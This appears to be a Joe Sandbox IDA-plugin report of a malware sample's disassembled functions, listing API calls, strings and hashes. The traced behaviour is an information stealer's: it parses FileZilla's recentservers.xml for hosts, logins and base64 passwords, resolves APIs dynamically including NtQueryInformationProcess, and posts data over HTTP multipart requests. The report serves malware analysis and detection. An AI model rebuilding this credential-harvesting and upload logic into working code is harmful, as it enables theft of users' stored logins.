Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction ID: 30efb513975bfe185fa80fb3a8f84b393628ccfbb0aa9170a1b214bc368b0093
Opcode Fuzzy Hash: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction Fuzzy Hash: B6D05E7490020C8BCB14DFE09A496DDBBB9AB8D711F001455DD0572240DA305441CA65

Uniqueness

Uniqueness Score: -1.00%

Function 004070E0 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00413068,?), ref: 004070F4
RtlAllocateHeap.NTDLL(00000000,?,00413068,?), ref: 004070FB
lstrcat.KERNEL32(?,04193D08), ref: 004072AB
lstrcat.KERNEL32(?,?), ref: 004072BF
lstrcat.KERNEL32(?,?), ref: 004072D3
lstrcat.KERNEL32(?,?), ref: 004072E7
lstrcat.KERNEL32(?,041966E0), ref: 004072FB
lstrcat.KERNEL32(?,041966F8), ref: 0040730F
lstrcat.KERNEL32(?,04196788), ref: 00407322
lstrcat.KERNEL32(?,04196728), ref: 00407336
lstrcat.KERNEL32(?,04197BD8), ref: 0040734A
lstrcat.KERNEL32(?,?), ref: 0040735E
lstrcat.KERNEL32(?,?), ref: 00407372
lstrcat.KERNEL32(?,?), ref: 00407386
lstrcat.KERNEL32(?,041966E0), ref: 00407399
lstrcat.KERNEL32(?,041966F8), ref: 004073AD
lstrcat.KERNEL32(?,04196788), ref: 004073C1
lstrcat.KERNEL32(?,04196728), ref: 004073D4
lstrcat.KERNEL32(?,04197C40), ref: 004073E8
lstrcat.KERNEL32(?,?), ref: 004073FC
lstrcat.KERNEL32(?,?), ref: 00407410
lstrcat.KERNEL32(?,?), ref: 00407424
lstrcat.KERNEL32(?,041966E0), ref: 00407438
lstrcat.KERNEL32(?,041966F8), ref: 0040744B
lstrcat.KERNEL32(?,04196788), ref: 0040745F
lstrcat.KERNEL32(?,04196728), ref: 00407473
lstrcat.KERNEL32(?,04197CA8), ref: 00407486
lstrcat.KERNEL32(?,?), ref: 0040749A
lstrcat.KERNEL32(?,?), ref: 004074AE
lstrcat.KERNEL32(?,?), ref: 004074C2
lstrcat.KERNEL32(?,041966E0), ref: 004074D6
lstrcat.KERNEL32(?,041966F8), ref: 004074EA
lstrcat.KERNEL32(?,04196788), ref: 004074FD
lstrcat.KERNEL32(?,04196728), ref: 00407511
lstrcat.KERNEL32(?,04197D10), ref: 00407525
lstrcat.KERNEL32(?,?), ref: 00407539
lstrcat.KERNEL32(?,?), ref: 0040754D
lstrcat.KERNEL32(?,?), ref: 00407561
lstrcat.KERNEL32(?,041966E0), ref: 00407574
lstrcat.KERNEL32(?,041966F8), ref: 00407588
lstrcat.KERNEL32(?,04196788), ref: 0040759C
lstrcat.KERNEL32(?,04196728), ref: 004075AF
lstrcat.KERNEL32(?,04197D78), ref: 004075C3
lstrcat.KERNEL32(?,?), ref: 004075D7
lstrcat.KERNEL32(?,?), ref: 004075EB
lstrcat.KERNEL32(?,?), ref: 004075FF
lstrcat.KERNEL32(?,041966E0), ref: 00407613
lstrcat.KERNEL32(?,041966F8), ref: 00407626
lstrcat.KERNEL32(?,04196788), ref: 0040763A
lstrcat.KERNEL32(?,04196728), ref: 0040764E

Part of subcall function 00406FA0: lstrcat.KERNEL32(36A04020,0041DEB8), ref: 00406FD6
Part of subcall function 00406FA0: lstrcat.KERNEL32(36A04020,00000000), ref: 00407018
Part of subcall function 00406FA0: lstrcat.KERNEL32(36A04020, : ), ref: 0040702A
Part of subcall function 00406FA0: lstrcat.KERNEL32(36A04020,00000000), ref: 0040705F
Part of subcall function 00406FA0: lstrcat.KERNEL32(36A04020,0041DEC0), ref: 00407070
Part of subcall function 00406FA0: lstrcat.KERNEL32(36A04020,00000000), ref: 004070A3
Part of subcall function 00406FA0: lstrcat.KERNEL32(36A04020,0041DEC4), ref: 004070BD
Part of subcall function 00406FA0: task.LIBCPMTD ref: 004070CB

lstrcat.KERNEL32(?,04190638), ref: 004077DB
lstrcat.KERNEL32(?,04196CB8), ref: 004077EE
lstrlen.KERNEL32(36A04020), ref: 004077FB
lstrlen.KERNEL32(36A04020), ref: 0040780B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041905E8), ref: 00404ED9

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$Heap$AllocateInternetOpenProcesslstrcpytask
String ID:
API String ID: 3958002797-0
Opcode ID: 1deb68fe007c3a931c0a137675a9dba7412e12439f4df884cae112fa19bd3d59
Instruction ID: 3e78b0701875fb024adfa953bd7607f570b92d72e3b87f8e208063dda3fe5bd2
Opcode Fuzzy Hash: 1deb68fe007c3a931c0a137675a9dba7412e12439f4df884cae112fa19bd3d59
Instruction Fuzzy Hash: D33234B6D01A14ABCB35EBA0DC89DDE737DAB48704F404699B20A66090DF78E7C5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA90 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

strtok_s.MSVCRT ref: 0040EB5B
GetProcessHeap.KERNEL32(00000000,000F423F,0041D77A,0041D777,0041D776,0041D773), ref: 0040EBA2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EBA9
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040EBC5
lstrlen.KERNEL32(00000000), ref: 0040EBD3

Part of subcall function 00414FA0: malloc.MSVCRT ref: 00414FA8
Part of subcall function 00414FA0: strncpy.MSVCRT ref: 00414FC3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0040EC0F
lstrlen.KERNEL32(00000000), ref: 0040EC1D
StrStrA.SHLWAPI(00000000,<User>), ref: 0040EC59
lstrlen.KERNEL32(00000000), ref: 0040EC67
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040ECA3
lstrlen.KERNEL32(00000000), ref: 0040ECB5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040ED42
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED5A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED72
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED8A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 0040EDA2
lstrcat.KERNEL32(?,profile: null), ref: 0040EDB1
lstrcat.KERNEL32(?,url: ), ref: 0040EDC0
lstrcat.KERNEL32(?,00000000), ref: 0040EDD3
lstrcat.KERNEL32(?,0041DD34), ref: 0040EDE2
lstrcat.KERNEL32(?,00000000), ref: 0040EDF5
lstrcat.KERNEL32(?,0041DD38), ref: 0040EE04
lstrcat.KERNEL32(?,login: ), ref: 0040EE13
lstrcat.KERNEL32(?,00000000), ref: 0040EE26
lstrcat.KERNEL32(?,0041DD44), ref: 0040EE35
lstrcat.KERNEL32(?,password: ), ref: 0040EE44
lstrcat.KERNEL32(?,00000000), ref: 0040EE57
lstrcat.KERNEL32(?,0041DD54), ref: 0040EE66
lstrcat.KERNEL32(?,0041DD58), ref: 0040EE75
strtok_s.MSVCRT ref: 0040EEB9
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EECE
memset.MSVCRT ref: 0040EF17

Strings

browser: FileZilla, xrefs: 0040ED99
<Host>, xrefs: 0040EBBC
login: , xrefs: 0040EE0A
<Pass encoding="base64">, xrefs: 0040EC9A
profile: null, xrefs: 0040EDA8
url: , xrefs: 0040EDB7
<User>, xrefs: 0040EC50
<Port>, xrefs: 0040EC06
password: , xrefs: 0040EE3B
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040EAE4

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: d6e8f2dd24b522b4615829e7e0c107cb9ab0332f7a592ed0e5788ca848ed9ada
Instruction ID: d9186ee441f73b04c887f2efee86d04259a2264df0fa853aa1509dbc15227f06
Opcode Fuzzy Hash: d6e8f2dd24b522b4615829e7e0c107cb9ab0332f7a592ed0e5788ca848ed9ada
Instruction Fuzzy Hash: 3FD174B5D00208ABCB14EBF1DD56EEE7739AF44304F50851EF106B6095DF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00415ED0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,04173C78), ref: 00415F11
GetProcAddress.KERNEL32(75900000,04173C18), ref: 00415F2A
GetProcAddress.KERNEL32(75900000,04173C30), ref: 00415F42
GetProcAddress.KERNEL32(75900000,04173BE8), ref: 00415F5A
GetProcAddress.KERNEL32(75900000,04173BB8), ref: 00415F73
GetProcAddress.KERNEL32(75900000,04190908), ref: 00415F8B
GetProcAddress.KERNEL32(75900000,04174020), ref: 00415FA3
GetProcAddress.KERNEL32(75900000,04173DC0), ref: 00415FBC
GetProcAddress.KERNEL32(75900000,04173BD0), ref: 00415FD4
GetProcAddress.KERNEL32(75900000,04173C00), ref: 00415FEC
GetProcAddress.KERNEL32(75900000,04173C48), ref: 00416005
GetProcAddress.KERNEL32(75900000,04190B00), ref: 0041601D
GetProcAddress.KERNEL32(75900000,04173D80), ref: 00416035
GetProcAddress.KERNEL32(75900000,04190980), ref: 0041604E
GetProcAddress.KERNEL32(75900000,04190AD0), ref: 00416066
GetProcAddress.KERNEL32(75900000,04173DA0), ref: 0041607E
GetProcAddress.KERNEL32(75900000,041909B0), ref: 00416097
GetProcAddress.KERNEL32(75900000,04190AA0), ref: 004160AF
GetProcAddress.KERNEL32(75900000,04173DE0), ref: 004160C7
GetProcAddress.KERNEL32(75900000,04190B78), ref: 004160E0
GetProcAddress.KERNEL32(75900000,04173F80), ref: 004160F8
LoadLibraryA.KERNEL32(04190AB8,?,004136C0), ref: 0041610A
LoadLibraryA.KERNEL32(04190B48,?,004136C0), ref: 0041611B
LoadLibraryA.KERNEL32(04190AE8,?,004136C0), ref: 0041612D
LoadLibraryA.KERNEL32(04190B60,?,004136C0), ref: 0041613F
LoadLibraryA.KERNEL32(04190C50,?,004136C0), ref: 00416150
GetProcAddress.KERNEL32(75070000,04190B30), ref: 00416172
GetProcAddress.KERNEL32(75FD0000,04190B90), ref: 00416193
GetProcAddress.KERNEL32(75FD0000,04190C68), ref: 004161AB
GetProcAddress.KERNEL32(75A50000,04190BA8), ref: 004161CD
GetProcAddress.KERNEL32(74E50000,04173FA0), ref: 004161EE
GetProcAddress.KERNEL32(76E80000,04190788), ref: 0041620F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00416226

Strings

NtQueryInformationProcess, xrefs: 0041621A

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction ID: 1024ce913f91588aaf476b7e35ab3ad31cc185c195c2877b0ef9f81f7e935ec9
Opcode Fuzzy Hash: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction Fuzzy Hash: 4CA16FB5910E10AFC374DFA8FE88A1637BBBBCC3117116519A60AC72A0DF759482CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404DC0 Relevance: 54.8, APIs: 22, Strings: 9, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

lstrlen.KERNEL32(00000000), ref: 00404E4A

Part of subcall function 004155A0: CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
StrCmpCA.SHLWAPI(?,041905E8), ref: 00404ED9
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FF4
HttpOpenRequestA.WININET(00000000,04190608,?,041980E0,00000000,00000000,00400100,00000000), ref: 00405058

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,04190668,00000000,?,041976A0,00000000,?,0041E098,00000000,?,00410996), ref: 004053EB
lstrlen.KERNEL32(00000000), ref: 004053FF
GetProcessHeap.KERNEL32(00000000,?), ref: 00405410
RtlAllocateHeap.NTDLL(00000000), ref: 00405417
lstrlen.KERNEL32(00000000), ref: 0040542C
memcpy.MSVCRT ref: 00405443
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 0040545D
memcpy.MSVCRT ref: 0040546A
lstrlen.KERNEL32(00000000), ref: 0040547C
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405495
memcpy.MSVCRT ref: 004054A5
lstrlen.KERNEL32(00000000,?,?), ref: 004054C2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004054D6
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405501
InternetCloseHandle.WININET(00000000), ref: 00405565
InternetCloseHandle.WININET(00000000), ref: 00405572
InternetCloseHandle.WININET(00000000), ref: 0040557C

Strings

------, xrefs: 00404F4B
J&f, xrefs: 00405029
------, xrefs: 004052EF
------, xrefs: 004051AD
", xrefs: 00405136
------, xrefs: 0040506B
", xrefs: 004053BA
--, xrefs: 00404F34
", xrefs: 00405278

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$J&f
API String ID: 1133489818-3705675087
Opcode ID: 01261bdf6723a200b5421c223d7f00b23ed53855c071487a53c0a556e197c9d9
Instruction ID: 5eac6181e64dcc8a416a420aa9bf91bf90c69560f183aa6c55bc1ab780bc5ff6
Opcode Fuzzy Hash: 01261bdf6723a200b5421c223d7f00b23ed53855c071487a53c0a556e197c9d9
Instruction Fuzzy Hash: 55324375920218ABCB14EBA1DC51FEEB779BF54704F40419EF10662091DF38AB89CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: 47.7, APIs: 19, Strings: 8, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004056A8
StrCmpCA.SHLWAPI(?,041905E8), ref: 004056C3
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405843
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,041987A8,00000000,?,041976A0,00000000,?,0041E0D8), ref: 00405B1E
lstrlen.KERNEL32(00000000), ref: 00405B2F
GetProcessHeap.KERNEL32(00000000,?), ref: 00405B40
HeapAlloc.KERNEL32(00000000), ref: 00405B47
lstrlen.KERNEL32(00000000), ref: 00405B5C
memcpy.MSVCRT ref: 00405B73
lstrlen.KERNEL32(00000000), ref: 00405B85
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405B9E
memcpy.MSVCRT ref: 00405BAB
lstrlen.KERNEL32(00000000,?,?), ref: 00405BC8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405BDC
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405BF9
InternetCloseHandle.WININET(00000000), ref: 00405C5D
InternetCloseHandle.WININET(00000000), ref: 00405C6A
HttpOpenRequestA.WININET(00000000,04190608,?,041980E0,00000000,00000000,00400100,00000000), ref: 004058A8

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00405C74

Strings

------, xrefs: 004059FC
J&f, xrefs: 00405878
------, xrefs: 004058BB
", xrefs: 00405985
------, xrefs: 00405746
-A, xrefs: 0040566F, 00405D14, 004056F7, 00405700, 0040576E, 004057E5, 004058E3, 00405A24, 00405771, 004057E8, 004058E6, 00405A27
", xrefs: 00405AC6
-A, xrefs: 00405620, 00405D27, 00405623

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$-A$-A$J&f
API String ID: 148854478-1022722094
Opcode ID: e183de8ad69be28840d2cf6897d3804b69c1c75c35a8e68d1b55f53e2e4ad93b
Instruction ID: 38116f3ce93ed53bffdba46f35b2307ef6cb7c9f678a3856a9fc947e80efe624
Opcode Fuzzy Hash: e183de8ad69be28840d2cf6897d3804b69c1c75c35a8e68d1b55f53e2e4ad93b
Instruction Fuzzy Hash: A0125175920218AACB14EBA1DC95FDEB739BF14304F41429EF10A63091DF386B89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A030 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A362
RtlAllocateHeap.NTDLL(00000000), ref: 0040A369
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A14A

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041908D8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrcat.KERNEL32(?,00000000), ref: 0040A4AA
lstrcat.KERNEL32(?,0041DA80), ref: 0040A4B9
lstrcat.KERNEL32(?,00000000), ref: 0040A4CC
lstrcat.KERNEL32(?,0041DA84), ref: 0040A4DB
lstrcat.KERNEL32(?,00000000), ref: 0040A4EE
lstrcat.KERNEL32(?,0041DA88), ref: 0040A4FD
lstrcat.KERNEL32(?,00000000), ref: 0040A510
lstrcat.KERNEL32(?,0041DA8C), ref: 0040A51F
lstrcat.KERNEL32(?,00000000), ref: 0040A532
lstrcat.KERNEL32(?,0041DA90), ref: 0040A541
lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,0041DA94), ref: 0040A563

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0040A5AC
lstrcat.KERNEL32(?,0041DA98), ref: 0040A5C6
lstrlen.KERNEL32(?), ref: 0040A605
lstrlen.KERNEL32(?), ref: 0040A614
memset.MSVCRT ref: 0040A65D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

DeleteFileA.KERNEL32(00000000), ref: 0040A689

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: dc7bccc8004eed63f55d8513578fb7438147e61491ea64dd30b1a0ec20e3afb5
Instruction ID: c7be15c6cc4abab23e8f274795eadccbdda502ec8511485448b77053ecd04baf
Opcode Fuzzy Hash: dc7bccc8004eed63f55d8513578fb7438147e61491ea64dd30b1a0ec20e3afb5
Instruction Fuzzy Hash: B0029475900208ABCB14EBA1DC96EEE773ABF14305F11415EF507B6091DF38AE85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C640 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04197790,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C6D3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040C817
RtlAllocateHeap.NTDLL(00000000), ref: 0040C81E
lstrcat.KERNEL32(?,00000000), ref: 0040C958
lstrcat.KERNEL32(?,0041DBD8), ref: 0040C967
lstrcat.KERNEL32(?,00000000), ref: 0040C97A
lstrcat.KERNEL32(?,0041DBDC), ref: 0040C989
lstrcat.KERNEL32(?,00000000), ref: 0040C99C
lstrcat.KERNEL32(?,0041DBE0), ref: 0040C9AB
lstrcat.KERNEL32(?,00000000), ref: 0040C9BE
lstrcat.KERNEL32(?,0041DBE4), ref: 0040C9CD
lstrcat.KERNEL32(?,00000000), ref: 0040C9E0
lstrcat.KERNEL32(?,0041DBE8), ref: 0040C9EF
